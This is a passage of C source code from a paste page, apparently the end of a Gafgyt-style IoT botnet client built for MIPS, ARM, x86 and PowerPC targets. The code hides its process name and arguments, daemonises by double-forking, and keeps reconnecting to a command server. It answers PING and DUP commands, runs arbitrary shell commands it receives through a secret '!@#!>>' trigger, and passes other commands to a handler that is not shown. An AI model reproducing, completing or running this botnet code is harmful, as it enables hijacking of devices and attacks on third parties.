  1560.         if(sock == -1) return 0;
  1561.  
  1562.         struct sockaddr_in serv;
  1563.         memset(&serv, 0, sizeof(serv));
  1564.         serv.sin_family = AF_INET;
  1565.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1566.         serv.sin_port = htons(53);
  1567.  
  1568.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1569.         if(err == -1) return 0;
  1570.  
  1571.         struct sockaddr_in name;
  1572.         socklen_t namelen = sizeof(name);
  1573.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1574.         if(err == -1) return 0;
  1575.  
  1576.         ourIP.s_addr = name.sin_addr.s_addr;
  1577.  
  1578.         int cmdline = open("/proc/net/route", O_RDONLY);
  1579.         char linebuf[4096];
  1580.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  1581.         {
  1582.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  1583.                 {
  1584.                         unsigned char *pos = linebuf;
  1585.                         while(*pos != '\t') pos++;
  1586.                         *pos = 0;
  1587.                         break;
  1588.                 }
  1589.                 memset(linebuf, 0, 4096);
  1590.         }
  1591.         close(cmdline);
  1592.  
  1593.         if(*linebuf)
  1594.         {
  1595.                 int i;
  1596.                 struct ifreq ifr;
  1597.                 strcpy(ifr.ifr_name, linebuf);
  1598.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  1599.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1600.         }
  1601.  
  1602.         close(sock);
  1603. }
  1604.  
  1605. char *getBuild()
  1606. {
  1607.     #ifdef MIPS_BUILD
  1608.     return "MIPS";
  1609.     #elif MIPSEL_BUILD
  1610.     return "MIPSEL";
  1611.     #elif X86_BUILD
  1612.     return "X86";
  1613.     #elif ARM_BUILD
  1614.     return "ARM";
  1615.     #elif PPC_BUILD
  1616.     return "POWERPC";
  1617.     #else
  1618.     return "GAYGFT";
  1619.     #endif
  1620. }
  1621.  
  1622. int main(int argc, unsigned char *argv[])
  1623. {
  1624.         char *mynameis = "";
  1625.         if(SERVER_LIST_SIZE <= 0) return 0;
  1626.     printf("BUILD %s\n", getBuild());
  1627.     strncpy(argv[0],"",strlen(argv[0]));
  1628.         argv[0] = "";
  1629.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1630.     srand(time(NULL) ^ getpid());
  1631.         init_rand(time(NULL) ^ getpid());
  1632.         pid_t pid1;
  1633.         pid_t pid2;
  1634.         int status;
  1635.  
  1636.         getOurIP();
  1637.  
  1638.         if (pid1 = fork()) {
  1639.                         waitpid(pid1, &status, 0);
  1640.                         exit(0);
  1641.         } else if (!pid1) {
  1642.                         if (pid2 = fork()) {
  1643.                                         exit(0);
  1644.                         } else if (!pid2) {
  1645.                         } else {
  1646.                                         //zprintf("fork failed\n");
  1647.                         }
  1648.         } else {
  1649.                         //zprintf("fork failed\n");
  1650.         }
  1651.  
  1652.         setsid();
  1653.         chdir("/");
  1654.  
  1655.         signal(SIGPIPE, SIG_IGN);
  1656.  
  1657.         while(1)
  1658.         {
  1659.                 if(initConnection()) { sleep(5); continue; }
  1660.  
  1661.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1662.  
  1663.                 char commBuf[4096];
  1664.                 int got = 0;
  1665.                 int i = 0;
  1666.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1667.                 {
  1668.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1669.                                 unsigned int *newpids, on;
  1670.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1671.                                 pids[on - 1] = 0;
  1672.                                 numpids--;
  1673.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1674.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1675.                                 free(pids);
  1676.                                 pids = newpids;
  1677.                         }
  1678.  
  1679.                         commBuf[got] = 0x00;
  1680.  
  1681.                         trim(commBuf);
  1682.  
  1683.                         if(strstr(commBuf, "PING") == commBuf)
  1684.                         {
  1685.                                 sockprintf(mainCommSock, "PONG");
  1686.                                 continue;
  1687.                         }
  1688.  
  1689.                         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1690.  
  1691.                         unsigned char *message = commBuf;
  1692.  
  1693.                         if(*message == '!')
  1694.                         {
  1695.                                 unsigned char *nickMask = message + 1;
  1696.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1697.                                 if(*nickMask == 0x00) continue;
  1698.                                 *(nickMask) = 0x00;
  1699.                                 nickMask = message + 1;
  1700.  
  1701.                                 message = message + strlen(nickMask) + 2;
  1702.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1703.  
  1704.                                 unsigned char *command = message;
  1705.                                 while(*message != ' ' && *message != 0x00) message++;
  1706.                                 *message = 0x00;
  1707.                                 message++;
  1708.  
  1709.                                 unsigned char *tmpcommand = command;
  1710.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1711.  
  1712.                                 if(strcmp(command, "!@#!>>") == 0)
  1713.                                 {
  1714.                                         unsigned char buf[1024];
  1715.                                         int command;
  1716.                                         if (listFork()) continue;
  1717.                                         memset(buf, 0, 1024);
  1718.                                         szprintf(buf, "%s 2>&1", message);
  1719.                                         command = fdpopen(buf, "r");
  1720.                                         while(fdgets(buf, 1024, command) != NULL)
  1721.                                         {
  1722.                                                 trim(buf);
  1723. //                                                sockprintf(mainCommSock, "%s", buf);
  1724.                                                 memset(buf, 0, 1024);
  1725.                                                 sleep(1);
  1726.                                         }
  1727.                                         fdpclose(command);
  1728.                                         exit(0);
  1729.                                 }
  1730.  
  1731.                                 unsigned char *params[10];
  1732.                                 int paramsCount = 1;
  1733.                                 unsigned char *pch = strtok(message, " ");
  1734.                                 params[0] = command;
  1735.  
  1736.                                 while(pch)
  1737.                                 {
  1738.                                         if(*pch != '\n')
  1739.                                         {
  1740.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1741.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  1742.                                                 strcpy(params[paramsCount], pch);
  1743.                                                 paramsCount++;
  1744.                                         }
  1745.                                         pch = strtok(NULL, " ");
  1746.                                 }
  1747.  
  1748.                                 processCmd(paramsCount, params);
  1749.  
  1750.                                 if(paramsCount > 1)
  1751.                                 {
  1752.                                         int q = 1;
  1753.                                         for(q = 1; q < paramsCount; q++)
  1754.                                         {
  1755.                                                 free(params[q]);
  1756.                                         }
  1757.                                 }
  1758.                         }
  1759.                      }
  1760.                printf("Link closed by server.\n");
  1761.     }
  1762.  
  1763.     return 0;
  1764.  
  1765. }
Advertisement
Add Comment
Please, Sign In to add comment